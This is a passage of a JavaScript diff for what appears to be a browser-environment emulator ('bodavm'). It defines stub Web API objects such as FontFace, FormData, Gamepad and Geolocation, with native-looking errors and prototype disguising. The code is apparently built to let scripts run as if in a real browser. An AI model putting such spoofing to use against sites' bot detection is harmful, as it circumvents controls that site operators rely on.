+bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemDirectoryHandle'], "FileSystemDirectoryHandle"); +bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype.__proto__ = bodavm.memory.globalobj['FileSystemHandle'].prototype; +bodavm.memory.globalobj['FileSystemDirectoryHandle'].__proto__ = bodavm.memory.globalobj['FileSystemHandle']; +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getDirectoryHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getDirectoryHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getDirectoryHandle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getFileHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getFileHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getFileHandle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "removeEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function removeEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "removeEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "resolve", { + configurable: true, + enumerable: true, + writable: true, + value: function resolve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "resolve", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "values", arguments); + } +}, 'prototype'); +// FileSystemFileHandle对象 + +bodavm.memory.globalobj['FileSystemFileHandle'] = function FileSystemFileHandle() { + console.log_copy('FileSystemFileHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemFileHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemFileHandle'], "FileSystemFileHandle"); +bodavm.memory.globalobj['FileSystemFileHandle'].prototype.__proto__ = bodavm.memory.globalobj['FileSystemHandle'].prototype; +bodavm.memory.globalobj['FileSystemFileHandle'].__proto__ = bodavm.memory.globalobj['FileSystemHandle']; +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "createWritable", { + configurable: true, + enumerable: true, + writable: true, + value: function createWritable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "createWritable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "getFile", { + configurable: true, + enumerable: true, + writable: true, + value: function getFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "getFile", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "move", { + configurable: true, + enumerable: true, + writable: true, + value: function move() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "move", arguments); + } +}, 'prototype'); +// FileSystemWritableFileStream对象 + +bodavm.memory.globalobj['FileSystemWritableFileStream'] = function FileSystemWritableFileStream() { + console.log_copy('FileSystemWritableFileStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemWritableFileStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemWritableFileStream'], "FileSystemWritableFileStream"); +bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype.__proto__ = bodavm.memory.globalobj['WritableStream'].prototype; +bodavm.memory.globalobj['FileSystemWritableFileStream'].__proto__ = bodavm.memory.globalobj['WritableStream']; +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "seek", { + configurable: true, + enumerable: true, + writable: true, + value: function seek() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "seek", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "truncate", { + configurable: true, + enumerable: true, + writable: true, + value: function truncate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "truncate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "write", arguments); + } +}, 'prototype'); +// find对象 + +bodavm.memory.globalobj['find'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('find', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('find', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "find" +}); +// focus对象 + +bodavm.memory.globalobj['focus'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('focus', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('focus', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "focus" +}); +// FocusEvent对象 + +bodavm.memory.globalobj['FocusEvent'] = function FocusEvent() { + console.log_copy('FocusEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FocusEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FocusEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FocusEvent'], "FocusEvent"); +bodavm.memory.globalobj['FocusEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['FocusEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('FocusEvent', "relatedTarget", { + configurable: true, + enumerable: true, + get: function relatedTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FocusEvent'].prototype, "FocusEvent", "relatedTarget_get", arguments); + }, + set: undefined +}, 'prototype'); +// FontData对象 + +bodavm.memory.globalobj['FontData'] = function FontData() { + console.log_copy('FontData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontData'], "FontData"); +bodavm.toolsFunc.defineProperty('FontData', "postscriptName", { + configurable: true, + enumerable: true, + get: function postscriptName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "postscriptName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "fullName", { + configurable: true, + enumerable: true, + get: function fullName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "fullName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "family", { + configurable: true, + enumerable: true, + get: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "family_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "style_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "blob", arguments); + } +}, 'prototype'); +// FontFace对象 + +bodavm.memory.globalobj['FontFace'] = function FontFace() { + console.log_copy('FontFace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontFace)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFace': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFace'], "FontFace"); +bodavm.toolsFunc.defineProperty('FontFace', "family", { + configurable: true, + enumerable: true, + get: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_get", arguments); + }, + set: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "weight", { + configurable: true, + enumerable: true, + get: function weight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_get", arguments); + }, + set: function weight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "stretch", { + configurable: true, + enumerable: true, + get: function stretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_get", arguments); + }, + set: function stretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "unicodeRange", { + configurable: true, + enumerable: true, + get: function unicodeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_get", arguments); + }, + set: function unicodeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "variant", { + configurable: true, + enumerable: true, + get: function variant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_get", arguments); + }, + set: function variant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "featureSettings", { + configurable: true, + enumerable: true, + get: function featureSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_get", arguments); + }, + set: function featureSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "display", { + configurable: true, + enumerable: true, + get: function display() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_get", arguments); + }, + set: function display() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "ascentOverride", { + configurable: true, + enumerable: true, + get: function ascentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_get", arguments); + }, + set: function ascentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "descentOverride", { + configurable: true, + enumerable: true, + get: function descentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_get", arguments); + }, + set: function descentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "lineGapOverride", { + configurable: true, + enumerable: true, + get: function lineGapOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_get", arguments); + }, + set: function lineGapOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "sizeAdjust", { + configurable: true, + enumerable: true, + get: function sizeAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_get", arguments); + }, + set: function sizeAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "loaded", { + configurable: true, + enumerable: true, + get: function loaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "loaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "load", arguments); + } +}, 'prototype'); +// FontFaceSetLoadEvent对象 + +bodavm.memory.globalobj['FontFaceSetLoadEvent'] = function FontFaceSetLoadEvent() { + console.log_copy('FontFaceSetLoadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontFaceSetLoadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFaceSetLoadEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFaceSetLoadEvent'], "FontFaceSetLoadEvent"); +bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['FontFaceSetLoadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('FontFaceSetLoadEvent', "fontfaces", { + configurable: true, + enumerable: true, + get: function fontfaces() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype, "FontFaceSetLoadEvent", "fontfaces_get", arguments); + }, + set: undefined +}, 'prototype'); +// FormData对象 + +bodavm.memory.globalobj['FormData'] = function FormData() { + console.log_copy('FormData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.FormData(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormData'], "FormData"); +bodavm.toolsFunc.defineProperty('FormData', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "values", arguments); + } +}, 'prototype'); +// FormDataEvent对象 + +bodavm.memory.globalobj['FormDataEvent'] = function FormDataEvent() { + console.log_copy('FormDataEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FormDataEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FormDataEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormDataEvent'], "FormDataEvent"); +bodavm.memory.globalobj['FormDataEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['FormDataEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('FormDataEvent', "formData", { + configurable: true, + enumerable: true, + get: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormDataEvent'].prototype, "FormDataEvent", "formData_get", arguments); + }, + set: undefined +}, 'prototype'); +// FragmentDirective对象 + +bodavm.memory.globalobj['FragmentDirective'] = function FragmentDirective() { + console.log_copy('FragmentDirective 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FragmentDirective)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FragmentDirective'], "FragmentDirective"); +// GainNode对象 + +bodavm.memory.globalobj['GainNode'] = function GainNode() { + console.log_copy('GainNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GainNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GainNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GainNode'], "GainNode"); +bodavm.memory.globalobj['GainNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['GainNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('GainNode', "gain", { + configurable: true, + enumerable: true, + get: function gain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GainNode'].prototype, "GainNode", "gain_get", arguments); + }, + set: undefined +}, 'prototype'); +// Gamepad对象 + +bodavm.memory.globalobj['Gamepad'] = function Gamepad() { + console.log_copy('Gamepad 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Gamepad)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gamepad'], "Gamepad"); +bodavm.toolsFunc.defineProperty('Gamepad', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "connected", { + configurable: true, + enumerable: true, + get: function connected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "connected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "mapping", { + configurable: true, + enumerable: true, + get: function mapping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "mapping_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "axes", { + configurable: true, + enumerable: true, + get: function axes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "axes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "buttons", { + configurable: true, + enumerable: true, + get: function buttons() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "buttons_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "vibrationActuator", { + configurable: true, + enumerable: true, + get: function vibrationActuator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "vibrationActuator_get", arguments); + }, + set: undefined +}, 'prototype'); +// GamepadButton对象 + +bodavm.memory.globalobj['GamepadButton'] = function GamepadButton() { + console.log_copy('GamepadButton 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadButton)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadButton'], "GamepadButton"); +bodavm.toolsFunc.defineProperty('GamepadButton', "pressed", { + configurable: true, + enumerable: true, + get: function pressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "pressed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadButton', "touched", { + configurable: true, + enumerable: true, + get: function touched() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "touched_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadButton', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +// GamepadEvent对象 + +bodavm.memory.globalobj['GamepadEvent'] = function GamepadEvent() { + console.log_copy('GamepadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GamepadEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadEvent'], "GamepadEvent"); +bodavm.memory.globalobj['GamepadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['GamepadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('GamepadEvent', "gamepad", { + configurable: true, + enumerable: true, + get: function gamepad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadEvent'].prototype, "GamepadEvent", "gamepad_get", arguments); + }, + set: undefined +}, 'prototype'); +// GamepadHapticActuator对象 + +bodavm.memory.globalobj['GamepadHapticActuator'] = function GamepadHapticActuator() { + console.log_copy('GamepadHapticActuator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadHapticActuator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadHapticActuator'], "GamepadHapticActuator"); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "playEffect", { + configurable: true, + enumerable: true, + writable: true, + value: function playEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "playEffect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "reset", arguments); + } +}, 'prototype'); +// Geolocation对象 + +bodavm.memory.globalobj['Geolocation'] = function Geolocation() { + console.log_copy('Geolocation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Geolocation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Geolocation'], "Geolocation"); +bodavm.toolsFunc.defineProperty('Geolocation', "clearWatch", { + configurable: true, + enumerable: true, + writable: true, + value: function clearWatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "clearWatch", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Geolocation', "getCurrentPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "getCurrentPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Geolocation', "watchPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function watchPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "watchPosition", 